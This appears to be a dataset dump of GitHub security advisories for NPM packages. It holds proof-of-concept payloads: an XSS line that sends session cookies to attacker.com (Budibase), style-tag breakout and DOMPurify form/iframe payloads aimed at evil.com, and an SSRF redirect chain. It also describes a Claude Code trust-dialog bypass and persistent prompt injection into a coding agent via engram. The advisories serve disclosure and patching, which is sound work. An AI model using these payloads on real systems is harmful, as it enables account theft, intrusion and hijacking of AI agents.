deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-6qvv-pj99-48qm
Package: @adonisjs/core (NPM)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 7.3.1
Patched in: 7.3.1

Summary: @adonisjs/http-server has an Open Redirect vulnerability

Details:
### Impact

The `response.redirect().back()` method in `@adonisjs/http-server` is vulnerable to open redirects. The method reads the `Referer` header from the incoming HTTP request and redirects to that URL without validating the host. An attacker who can influence the `Referer` header (for example, by linking a user through an attacker-controlled page before a form submission) can cause the application to redirect users to a malicious external site.

This affects all AdonisJS applications that use `response.redirect().back()` or `response.redirect('back')`.

The vulnerability is classified as CWE-601: URL Redirection to Untrusted Site ('Open Redirect').

### Patches

This has been fixed in `@adonisjs/http-server` version **8.2.0**. The `back()` method now validates the `Referer` header's host against the request's own `Host` header. Referrers from unrecognized hosts are rejected and the redirect falls back to `/` (or a developer-provided fallback URL).

Applications that operate across multiple domains can configure additional trusted hosts via the `redirect.allowedHosts` option in `config/app.ts`.

Users should upgrade to `@adonisjs/http-server@^8.2.0` (or `@adonisjs/core@^7.4.0` if using the core meta-package).

### Workarounds

If upgrading is not immediately possible, avoid using `response.redirect().back()` in routes that are reachable by unauthenticated users or from pages that accept external traffic. Instead, redirect to a known safe path explicitly using `response.redirect().toPath('/dashboard')`.

### References

- [CWE-601: URL Redirection to Untrusted Site](https://cwe.mitre.org/data/definitions/601.html)
- [OWASP: Unvalidated Redirects and Forwards](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)
GitHub Security Advisory: GHSA-q5hj-mxqh-vv77
Package: @anthropic-ai/claude-code (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: >= 2.1.63, < 2.1.84
Patched in: 2.1.84

Summary: Claude Code: Trust Dialog Bypass via Git Worktree Spoofing Allows Arbitrary Code Execution

Details:
Claude Code used the git worktree `commondir` file when determining folder trust but did not validate its contents. By crafting a repository with a `commondir` file pointing to a path the victim had previously trusted, an attacker could bypass the trust dialog and immediately execute malicious hooks defined in `.claude/settings.json`. Exploiting this required the victim to clone a malicious repository and run Claude Code within it, and for the attacker to know or guess a path the victim had already trusted.

Users on standard Claude Code auto-update have received this fix already. Users performing manual updates are advised to update to the latest version.

Claude Code thanks [hackerone.com/masato_anzai](https://hackerone.com/masato_anzai) for reporting this issue.
GitHub Security Advisory: GHSA-4f9j-vr4p-642r
Package: @budibase/backend-core (NPM)
Severity: HIGH (CVSS 8.1)
CWE: CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
Vulnerable versions: < 3.35.10
Patched in: 3.35.10

Summary: Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover

Details:
### Summary

The `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.

### Details

`packages/backend-core/src/utils/utils.ts`, lines 215-226:

```typescript
const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)
```

This function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.

Missing flags:
- `httpOnly: false` → should be `true` (prevent JS access)
- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)
- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)

### PoC

Any XSS payload can steal the session:

```javascript
// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
```

With `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:
1. Create an entity with a name containing `<script>` payload
2. Any user who views that entity has their JWT stolen
3. Attacker uses the JWT for persistent account access

### Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

## ATTACHMENTS

[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)

---
GitHub Security Advisory: GHSA-m2m6-cff5-3w7c
Package: rwsdk (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: >= 1.0.0-beta.50, <= 1.2.2
Patched in: 1.2.3

Summary: RedwoodSDK has Same-site CSRF through lack of origin validation in its server actions

Details:
### Summary

Server actions in `rwsdk` apply HTTP method enforcement but no origin validation. A request originating from a different origin that the browser treats as same-site can invoke a server action with the victim's session cookie attached.

### Impact

An attacker who controls any origin the browser considers same-site with the deployed app can induce an authenticated victim's browser to invoke arbitrary server actions. The exposure depends on deployment shape:

- Apps deployed on custom domains (for example `app.example.com`) are exposed whenever the attacker controls any sibling subdomain under the same registrable domain. Plausible vectors include subdomain takeover of stale DNS records pointing at third-party services, cross-site scripting on a sibling application, or content served from a user-content subdomain.
- Apps deployed on platform-suffix domains on the Public Suffix List (`*.workers.dev`, `*.pages.dev`) are not exposed to the sibling-subdomain vector, because sibling subdomains under those suffixes are treated as cross-site.
- In local development, `localhost` on any other port is treated as same-site with the app's dev server. A separate process running on the developer's machine can invoke server actions against the dev server.

The attacker cannot read action responses (`mode: "no-cors"` yields opaque responses). Impact is therefore limited to side effects of action invocation: writes, state changes, and any externally observable action the application performs in response.

Cross-site requests from unrelated origins (`evil.com` targeting `app.com`) are not affected because `SameSite=Lax` session cookies are not attached by default in that scenario.

### Affected Configurations

Applications using `rwsdk` server actions (`serverAction()` or functions invoked via the RSC action protocol) in combination with cookie-based authentication. `serverQuery()` is not affected because it is designed to be idempotent and is invoked via GET.

### Patch

The patched release enforces an Origin/Host match for non-GET action requests. Requests whose `Origin` header does not match the request's own origin are rejected with HTTP 403 unless the origin is listed in a new `allowedOrigins` configuration option.

No application code changes are required for apps that invoke server actions from their own origin. Apps that legitimately invoke server actions from another origin must add those origins to the `allowedOrigins` option on `defineApp`.

### Credits

Reported by `@mthx`.
GitHub Security Advisory: GHSA-qx2v-qp2m-jg93
Package: postcss (NPM)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 8.5.10
Patched in: 8.5.10

Summary: PostCSS has XSS via Unescaped </style> in its CSS Stringify Output

Details:
# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output

## Summary

PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS.

## Proof of Concept

```javascript
const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
```

**Tested output** (Node.js v22, postcss v8.5.5):
```
Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true
```

## Impact

Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.

## Suggested Fix

Escape `</style` in all stringified output values:
```javascript
output = output.replace(/<\/(style)/gi, '<\\/$1');
```

## Credits
Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))
GitHub Security Advisory: GHSA-88gm-j2wx-58h6
Package: @astrojs/cloudflare (NPM)
Severity: LOW (CVSS 2.2)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 13.1.10
Patched in: 13.1.10

Summary: Cloudflare has SSRF via redirect following through its image-binding-transform endpoint (incomplete fix for GHSA-qpr4)

Details:
## Summary

The `fetch()` call for remote images in `packages/integrations/cloudflare/src/utils/image-binding-transform.ts` (line 28) uses the default `redirect: 'follow'` behavior. This allows the Cloudflare Worker to follow HTTP redirects to arbitrary URLs, bypassing the `isRemoteAllowed()` domain allowlist check which only validates the initial URL.

All three other image fetch paths in the codebase correctly use `{ redirect: 'manual' }`. This is an incomplete fix for GHSA-qpr4-c339-7vq8.

Confirmed on HEAD.

## Root Cause

`image-binding-transform.ts` line 28:

    const content = await (isRemotePath(href) ? fetch(imageSrc) : assets.fetch(imageSrc));

Missing `{ redirect: 'manual' }`. The three protected paths:

    // image-passthrough-endpoint.ts:23
    response = await fetch(href, { redirect: 'manual' });

    // assets/endpoint/shared.ts:11
    const res = await fetch(src, { redirect: 'manual' });

    // assets/utils/remoteProbe.ts:53
    const response = await fetch(url, { redirect: 'manual' });

## PoC

Demonstrated with Node.js that `fetch()` without `redirect: 'manual'` follows 302 redirects to arbitrary destinations:

    # Server A (allowed domain) returns 302 → Server B (internal)
    fetch('http://allowed:19741/img.jpg')                        → follows 302 → hits http://internal:19742/secret
    fetch('http://allowed:19741/img.jpg', {redirect:'manual'})   → returns 302, internal server NOT hit

Attack path: attacker finds an open redirect on an allowed domain, crafts `/_image?href=https://allowed-cdn.com/redirect?url=http://internal-service/`, and the Worker follows the redirect to the unauthorized destination.

## Impact

Bypasses the `image.domains` and `image.remotePatterns` allowlist for the default Cloudflare image service (`cloudflare-binding`). Enables blind SSRF to domains not in the allowlist. Same vulnerability class as GHSA-qpr4-c339-7vq8 (HIGH) which fixed the passthrough endpoint but missed this one.

## Suggested Fix

    const content = await (isRemotePath(href) ? fetch(imageSrc, { redirect: 'manual' }) : assets.fetch(imageSrc));
GitHub Security Advisory: GHSA-8h25-q488-4hxw
Package: openlearnx (NPM)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-250: Execution with Unnecessary Privileges, CWE-284: Improper Access Control, CWE-693: Protection Mechanism Failure
Vulnerable versions: < 2.0.3
Patched in: 2.0.3

Summary: OpenLearnX has Critical Remote Code Execution Through Python Sandbox Escape via Code Execution Environment

Details:
##  Overview

A critical Remote Code Execution (RCE) vulnerability was identified in the OpenLearnX code execution environment, allowing sandbox escape and arbitrary command execution. The issue has been fixed.
GitHub Security Advisory: GHSA-pfm2-2mhg-8wpx
Package: n8n-mcp (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: < 2.47.11
Patched in: 2.47.11

Summary: n8n-MCP Logs Sensitive Request Data on Unauthorized /mcp Requests

Details:
### Impact

When `n8n-mcp` runs in HTTP transport mode, incoming requests to the `POST /mcp` endpoint had their request metadata written to server logs regardless of the authentication outcome. In deployments where logs are collected, forwarded to external systems, or viewable outside the request trust boundary (shared log storage, SIEM pipelines, support/ops access), this can result in disclosure of:

- bearer tokens from the `Authorization` header
- per-tenant API keys from the `x-n8n-key` header in multi-tenant setups
- JSON-RPC request payloads sent to the MCP endpoint

Access control itself was not bypassed — unauthenticated requests were correctly rejected with `401 Unauthorized` — but sensitive values from those rejected requests could still be persisted in logs.

Impact category: **CWE-532** (Insertion of Sensitive Information into Log File).

### Affected

Deployments running n8n-mcp **v2.47.10 or earlier** in HTTP transport mode (`MCP_MODE=http`). The stdio transport is not affected.

### Patched

**v2.47.11** and later.

- npm: `npx n8n-mcp@latest` (or pin to `>= 2.47.11`)
- Docker: `docker pull ghcr.io/czlonkowski/n8n-mcp:latest`

### Workarounds

If users cannot upgrade immediately:

- Restrict network access to the HTTP port (firewall, reverse proxy, or VPN) so only trusted clients can reach the endpoint.
- Switch to stdio transport (`MCP_MODE=stdio`, the default for CLI invocation), which has no HTTP surface.

### Credit

n8n-MCP thanks [@S4nso](https://github.com/S4nso) (Organization / Jormungandr) for reporting this issue.
GitHub Security Advisory: GHSA-3jc6-6r48-v6qf
Package: @brikcss/merge (NPM)
Severity: MODERATE (CVSS 7.3)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: <= 1.3.1
Patched in: unpatched

Summary: Deep Merge is Vulnerable to Prototype Pollution Through Lack of Sanitization

Details:
A Prototype Pollution vulnerability was determined in brikcss merge up to 1.3.0. Executing a manipulation of the argument __proto__/constructor.prototype/prototype can lead to improperly controlled modification of object prototype attributes. The attack may be performed from remote. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-h7mw-gpvr-xq4m
Package: dompurify (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-183: Permissive List of Allowed Inputs
Vulnerable versions: < 3.4.0
Patched in: 3.4.0

Summary: DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Details:
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:

    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
    if (FORBID_ATTR[lcName]) {
      return false;
    }

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

    if (
      !(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
      ) &&
      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
    ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

    const DOMPurify = createDOMPurify(window);

    DOMPurify.sanitize(
      '<iframe src="https://evil.com"></iframe>',
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: ['iframe']
      }
    );
    // Returns: '<iframe src="https://evil.com"></iframe>'
    // Expected: '' (iframe forbidden)

    DOMPurify.sanitize(
      '<form action="https://evil.com/steal"><input name=password></form>',
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: ['form']
      }
    );
    // Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
    // Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

    DOMPurify.sanitize(
      '<p onclick="alert(1)">hello</p>',
      {
        ADD_ATTR: function(attr) { return true; },
        FORBID_ATTR: ['onclick']
      }
    );
    // Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
    if (FORBID_TAGS[tagName]) {
      // proceed to removal logic
    }

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef
GitHub Security Advisory: GHSA-2r2p-4cgf-hv7h
Package: engramx (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-306: Missing Authentication for Critical Function, CWE-352: Cross-Site Request Forgery (CSRF), CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, CWE-1188: Initialization of a Resource with an Insecure Default
Vulnerable versions: < 2.0.2
Patched in: 2.0.2

Summary: engram: HTTP server CORS wildcard + auth-off-by-default enables CSRF graph exfiltration and persistent indirect prompt injection

Details:
### Summary

The local HTTP server started by `engram server` (binding `127.0.0.1:7337` by default) was exposed to any browser origin with no authentication unless `ENGRAM_API_TOKEN` was explicitly set. Combined with `Access-Control-Allow-Origin: *` on every response and a body parser that did not require `Content-Type: application/json`, this allowed a malicious web page the developer visited to:

1. **Exfiltrate** the local knowledge graph via `GET /query` and `GET /stats` (function names, file layout, recorded decisions/mistakes).
2. **Inject persistent prompt-injection payloads** via `POST /learn`, which wrote `mistake`/`decision` nodes that were later surfaced as system-reminders to the user's AI coding agent on every future session and file edit.

Severity: **High** — confidentiality + persistent indirect prompt injection against the user's coding agent.

### Affected versions

`engramx` >= 1.0.0, < 2.0.2 — any version that shipped the HTTP server.

### Patched in

`engramx@2.0.2`

### Workarounds (if you cannot upgrade)

- Do **not** run `engram server` or `engram ui`.
- If developers must, set `ENGRAM_API_TOKEN` to a long random value and terminate the server before browsing the web.

### Remediation (applied in 2.0.2)

1. Fail-closed auth on every non-public route — Bearer header or HttpOnly cookie, constant-time comparison, 256-bit auto-generated token at `~/.engram/http-server.token` (0600).
2. Wildcard CORS removed entirely; default is no CORS headers. Opt-in allowlist via `ENGRAM_ALLOWED_ORIGINS`.
3. Host + Origin validation — rejects DNS rebinding and Host spoofing.
4. `Content-Type: application/json` enforced on mutations — blocks the text/plain CSRF vector.
5. `/ui?token=` bootstrap with `Sec-Fetch-Site` gate — prevents cross-origin oracle probing.

### Credit

Discovered and responsibly disclosed by @gabiudrescu in engram issue #7.
GitHub Security Advisory: GHSA-9237-rg5p-rhfw
Package: @saltcorn/data (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 1.6.0-alpha.0, < 1.6.0-beta.2
Patched in: 1.6.0-beta.2

Summary: @saltcorn/data: Tenant user role is used for tenant creation role check

Details:
## Summary

When a tenant admin is logged out of the root domain (e.g., saltcorn.com) but logged in to their own tenant space as admin, they can simply append `/tenant/create` to their tenant URL. The system reads the role from the tenant context (admin), and a new tenant is created on the **root domain** (in `PUBLIC SCHEMA > _sc_tenants`), rather than in the tenant's own `_sc_tenants` table.

If the same logic applies to other routes, a tenant admin effectively gains admin rights on the root domain.

## PoC

A tenant-created subtenant appears under the Saltcorn public schema instead of the tenant's own schema.

- Even when `role_id=1` is required for tenant creation on saltcorn.com (only admin can create tenants), existing tenant admins can still create new tenants because their local `role_id:1` is evaluated against the root domain.
- Even when `role_to_create_tenant` is set to `0` in the tenant's `_sc_config` schema, or removed entirely, the tenant admin can still create sub-tenants on the root domain — suggesting `role_to_create_tenant` is not being read at all.

## Impact

Tenant admins gain unauthorized admin-level access to the root domain. Any authenticated tenant admin can perform privileged operations (e.g., creating tenants) on the root domain by exploiting the role context mismatch.